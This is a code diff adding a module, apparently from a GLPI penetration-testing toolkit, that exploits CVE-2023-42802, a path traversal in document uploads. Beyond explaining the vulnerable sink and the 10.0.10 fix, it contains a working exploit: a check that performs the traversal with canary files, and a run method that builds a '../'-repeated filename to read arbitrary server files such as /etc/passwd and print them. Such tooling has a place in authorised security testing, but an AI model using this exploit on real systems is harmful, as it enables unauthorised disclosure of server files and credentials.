|
| 1 | +import re |
| 2 | +import uuid |
| 3 | +from http import HTTPStatus |
| 4 | + |
| 5 | +from ..exploit import GlpiExploit |
| 6 | +from glpwnme.exploits.logger import Log |
| 7 | + |
| 8 | + |
| 9 | +class CVE_2023_42802(GlpiExploit): |
| 10 | + """ |
| 11 | + Authenticated Document-upload path traversal (GHSA-rrh2-x4ch-pq3m). |
| 12 | +
|
| 13 | + The vulnerable sink is Document::moveDocument() / Document::moveUploadedDocument() |
| 14 | + in src/Document.php. When an authenticated user adds a Document, the controller |
| 15 | + front/document.form.php hands the user-supplied _filename[0] straight to: |
| 16 | +
|
| 17 | + $fullpath = GLPI_TMP_DIR . "/" . $filename; // moveDocument (staged upload) |
| 18 | + ... |
| 19 | + copy($fullpath, GLPI_DOC_DIR . "/" . $new_path); |
| 20 | +
|
| 21 | + The SOURCE path is built from the raw filename without rejecting directory |
| 22 | + separators, so a filename containing ../ traverses out of files/_tmp and pulls an |
| 23 | + arbitrary server-side file INTO the document store. The destination is content |
| 24 | + addressed (sha1 + extension dir), so the WRITE target itself is safe, but the read |
| 25 | + side gives arbitrary file disclosure: the moved file is then served verbatim by |
| 26 | + front/document.send.php. The advisory's own mitigation ("remove write access on |
| 27 | + /ajax and /front for the web server") confirms files can be made to land where they |
| 28 | + should not. |
| 29 | +
|
| 30 | + Fix in 10.0.10 added to BOTH functions: |
| 31 | +
|
| 32 | + if (str_contains($filename, '/') || str_contains($filename, '\\')) { |
| 33 | + trigger_error(... 'forbidden for security reasons.' ...); |
| 34 | + return false; |
| 35 | + } |
| 36 | +
|
| 37 | + Privilege: AUTHENTICATED user with the Document-create right. The sinks |
| 38 | + (front/document.form.php, ajax/fileupload.php) call Session::checkLoginUser(), so |
| 39 | + this is NOT the old (false) unauthenticated front/device.form.php?itemtype= |
| 40 | + UploadHandler vector. |
| 41 | +
|
| 42 | + DETECTION (destructive behavioral differential) |
| 43 | + ----------------------------------------------- |
| 44 | + There is no non-destructive black-box signal: the 10.0.10 fix is an internal |
| 45 | + str_contains() filename guard. So this check performs the real primitive. |
| 46 | +
|
| 47 | + 1. Stage a uniquely-named canary .txt via /ajax/fileupload.php -> files/_tmp/<staged> |
| 48 | + (a normal upload; works on vulnerable AND patched builds). |
| 49 | + 2. Add a Document with _filename[0] = "../_pictures/../_tmp/<staged>" and an empty |
| 50 | + _prefix_filename[0]. The path bounces through a sibling directory and back, so |
| 51 | + it can only resolve via genuine directory traversal, and it contains '/' which |
| 52 | + is exactly what the 10.0.10 guard rejects. |
| 53 | + 3. Download the new Document via /front/document.send.php and look for the canary. |
| 54 | + - VULNERABLE (<= 10.0.9): the guard is absent, the traversed source resolves, |
| 55 | + the canary bytes come back -> FIRED. |
| 56 | + - PATCHED (>= 10.0.10): moveDocument() returns false at the guard, the stored |
| 57 | + file is empty, the canary is absent -> SILENT. |
| 58 | + 4. CONTROL: a normal bare filename is added the same way and must come back with |
| 59 | + its own canary on BOTH builds. This proves the upload endpoint works and that a |
| 60 | + patched failure is the guard rejecting the traversal, not a broken endpoint. |
| 61 | +
|
| 62 | + All probe Documents are purged afterwards. |
| 63 | +
|
| 64 | + @author glpi |
| 65 | + @cvss 8.8 |
| 66 | + @name CVE_2023_42802 |
| 67 | + """ |
| 68 | + _impacts = "Path Traversal, Arbitrary File Read, Document Store Escape" |
| 69 | + _privilege = "User" |
| 70 | + _is_check_opsec_safe = False |
| 71 | + min_version = "10.0.7" |
| 72 | + max_version = "10.0.10" |
| 73 | + |
| 74 | + _UPLOAD = "/ajax/fileupload.php" |
| 75 | + _DOC_FORM = "/front/document.form.php" |
| 76 | + _DOC_SEND = "/front/document.send.php" |
| 77 | + _DOC_LIST = "/front/document.php?start=0&order=DESC&sort=2" |
| 78 | + |
| 79 | + # ------------------------------------------------------------------ # |
| 80 | + # helpers # |
| 81 | + # ------------------------------------------------------------------ # |
| 82 | + |
| 83 | + def _doc_ids(self): |
| 84 | + """Current set of document ids visible to the session.""" |
| 85 | + t = self.get(self._DOC_LIST, allow_redirects=True).text |
| 86 | + return set(int(x) for x in re.findall(r"document\.form\.php\?id=(\d+)", t)) |
| 87 | + |
| 88 | + def _stage(self, filename, content): |
| 89 | + """Stage a file via the AJAX uploader. Returns the on-disk name under |
| 90 | + files/_tmp (this build stores it under its bare name) or None.""" |
| 91 | + try: |
| 92 | + r = self.post(self._UPLOAD, data={"name": "filename"}, files={ |
| 93 | + "filename[]": (filename, content, "text/plain"), |
| 94 | + }) |
| 95 | + return r.json().get("filename", [{}])[0].get("name") |
| 96 | + except Exception: |
| 97 | + return None |
| 98 | + |
| 99 | + def _add_document(self, filename_field): |
| 100 | + """Add a Document whose _filename[0] is filename_field (empty prefix so no |
| 101 | + str_replace mangles the extension). Returns the new document id or None.""" |
| 102 | + before = self._doc_ids() |
| 103 | + data = { |
| 104 | + "entities_id": "0", |
| 105 | + "name": f"glpwnme_{uuid.uuid4().hex[:8]}", |
| 106 | + "_filename[0]": filename_field, |
| 107 | + "_prefix_filename[0]": "", |
| 108 | + "_tag_filename[0]": "", |
| 109 | + "add": "1", |
| 110 | + } |
| 111 | + self.post(self._DOC_FORM, data=data, allow_redirects=False) |
| 112 | + new = self._doc_ids() - before |
| 113 | + return max(new) if new else None |
| 114 | + |
| 115 | + def _download(self, docid): |
| 116 | + r = self.get(f"{self._DOC_SEND}?docid={docid}", allow_redirects=False) |
| 117 | + return r.status_code, r.content |
| 118 | + |
| 119 | + def _purge(self, docid): |
| 120 | + if not docid: |
| 121 | + return |
| 122 | + self.post(self._DOC_FORM, data={"id": docid, "purge": "purge"}, |
| 123 | + allow_redirects=False) |
| 124 | + |
| 125 | + # ------------------------------------------------------------------ # |
| 126 | + # interface # |
| 127 | + # ------------------------------------------------------------------ # |
| 128 | + |
| 129 | + def infos(self): |
| 130 | + infos = "[u]Description:[/u]\n" |
| 131 | + infos += "Authenticated Document-upload path traversal (GLPI 10.0.7 - 10.0.9).\n" |
| 132 | + infos += "[b]Document::moveDocument()[/b] / [b]moveUploadedDocument()[/b] built the source\n" |
| 133 | + infos += "path as [i]GLPI_TMP_DIR.\"/\".$filename[/i] from the user-supplied [i]_filename[/i]\n" |
| 134 | + infos += "without rejecting directory separators, so a Document filename containing [i]../[/i]\n" |
| 135 | + infos += "escapes [b]files/_tmp[/b] and pulls an arbitrary server file into the document store,\n" |
| 136 | + infos += "served back verbatim by [b]document.send.php[/b] (arbitrary file read).\n" |
| 137 | + infos += "Fix 10.0.10: reject any filename containing '/' or '\\\\'.\n" |
| 138 | + |
| 139 | + infos += "\n[u]Privilege:[/u]\n" |
| 140 | + infos += "[b]Authenticated[/b] user with the Document-create right (document.form.php and\n" |
| 141 | + infos += "ajax/fileupload.php both require a logged-in session).\n" |
| 142 | + |
| 143 | + infos += "\n[red b]Destructive check[/red b]\n" |
| 144 | + infos += "No non-destructive differential exists (the fix is an internal filename guard).\n" |
| 145 | + infos += "The check performs the real traversal: it stages a unique canary, adds a Document\n" |
| 146 | + infos += "whose filename bounces through a sibling dir back into _tmp, downloads it, and looks\n" |
| 147 | + infos += "for the canary. A benign normal-filename control must succeed on both builds. All\n" |
| 148 | + infos += "probe Documents are purged afterwards.\n" |
| 149 | + return infos |
| 150 | + |
| 151 | + def check(self): |
| 152 | + """ |
| 153 | + Destructive behavioral differential (see class docstring). |
| 154 | +
|
| 155 | + canary = unique marker bytes staged into files/_tmp via fileupload.php |
| 156 | + trav = Document added with _filename[0] = ../_pictures/../_tmp/<staged> |
| 157 | + ctrl = Document added with a plain bare staged filename |
| 158 | +
|
| 159 | + Vulnerable when the traversal Document streams back the canary (the guard is |
| 160 | + absent, so the bounced ../ source resolves) while the control also works. On a |
| 161 | + patched build moveDocument() returns false at the str_contains() guard, the |
| 162 | + stored file is empty, and the canary never comes back, but the control still |
| 163 | + succeeds, proving the endpoint is healthy and the rejection is the guard. |
| 164 | + """ |
| 165 | + trav_id = ctrl_id = None |
| 166 | + try: |
| 167 | + # --- traversal probe ------------------------------------------------- |
| 168 | + canary = b"GLPWNME-42802-" + uuid.uuid4().hex.encode() |
| 169 | + staged = self._stage(f"c_{uuid.uuid4().hex[:8]}.txt", canary) |
| 170 | + if not staged: |
| 171 | + Log.log("Could not stage a file via /ajax/fileupload.php " |
| 172 | + "(need an authenticated session with the Document-create right)") |
| 173 | + return False |
| 174 | + |
| 175 | + trav_id = self._add_document(f"../_pictures/../_tmp/{staged}") |
| 176 | + fired = False |
| 177 | + if trav_id is not None: |
| 178 | + code, body = self._download(trav_id) |
| 179 | + fired = code == HTTPStatus.OK and canary in body |
| 180 | + |
| 181 | + # --- benign control -------------------------------------------------- |
| 182 | + ctrl_canary = b"GLPWNME-CTRL-" + uuid.uuid4().hex.encode() |
| 183 | + ctrl_staged = self._stage(f"k_{uuid.uuid4().hex[:8]}.txt", ctrl_canary) |
| 184 | + ctrl_ok = False |
| 185 | + if ctrl_staged: |
| 186 | + ctrl_id = self._add_document(ctrl_staged) |
| 187 | + if ctrl_id is not None: |
| 188 | + code, body = self._download(ctrl_id) |
| 189 | + ctrl_ok = code == HTTPStatus.OK and ctrl_canary in body |
| 190 | + |
| 191 | + if not ctrl_ok: |
| 192 | + Log.log("Benign control upload did not round-trip; the Document endpoint is not " |
| 193 | + "usable as expected, so the traversal result is inconclusive") |
| 194 | + return False |
| 195 | + |
| 196 | + if fired: |
| 197 | + Log.msg("Path traversal CONFIRMED: a Document filename '../_pictures/../_tmp/<file>' " |
| 198 | + "escaped files/_tmp and the planted canary was served back by document.send.php") |
| 199 | + Log.log("Document::moveDocument() built the source path from the raw filename with no " |
| 200 | + "directory-separator guard (fixed in 10.0.10).") |
| 201 | + return True |
| 202 | + |
| 203 | + Log.log("Traversal filename was rejected (empty document) while the benign control " |
| 204 | + "succeeded: the 10.0.10 str_contains() filename guard is present. Not vulnerable.") |
| 205 | + return False |
| 206 | + finally: |
| 207 | + self._purge(trav_id) |
| 208 | + self._purge(ctrl_id) |
| 209 | + |
| 210 | + def run(self, path="/etc/passwd"): |
| 211 | + """Read an arbitrary server-side file via the document source-path traversal. |
| 212 | + _filename[0] climbs from files/_tmp to the filesystem root and then to the target. |
| 213 | + The target must be readable by the web user and carry a GLPI-allowed document |
| 214 | + extension (the source filename keeps its extension); pick a file accordingly if |
| 215 | + the default is rejected. The probe Document is purged afterwards.""" |
| 216 | + traversal = "../" * 12 + path.lstrip("/") |
| 217 | + docid = self._add_document(traversal) |
| 218 | + if docid is None: |
| 219 | + Log.err("Could not create the traversal Document (patched, blocked extension, or no " |
| 220 | + "Document-create right)") |
| 221 | + return False |
| 222 | + try: |
| 223 | + code, body = self._download(docid) |
| 224 | + if code == HTTPStatus.OK and body: |
| 225 | + Log.msg(f"Read [gold3]{path}[/] ({len(body)} bytes) via document source-path traversal:") |
| 226 | + print(body.decode("utf-8", "replace")) |
| 227 | + self._write_log(f"CVE-2023-42802 read {path} ({len(body)} bytes)") |
| 228 | + return True |
| 229 | + Log.err(f"Empty/blocked response for {path} (patched, file unreadable, or extension " |
| 230 | + "rejected by the document type allowlist)") |
| 231 | + return False |
| 232 | + finally: |
| 233 | + self._purge(docid) |
0 commit comments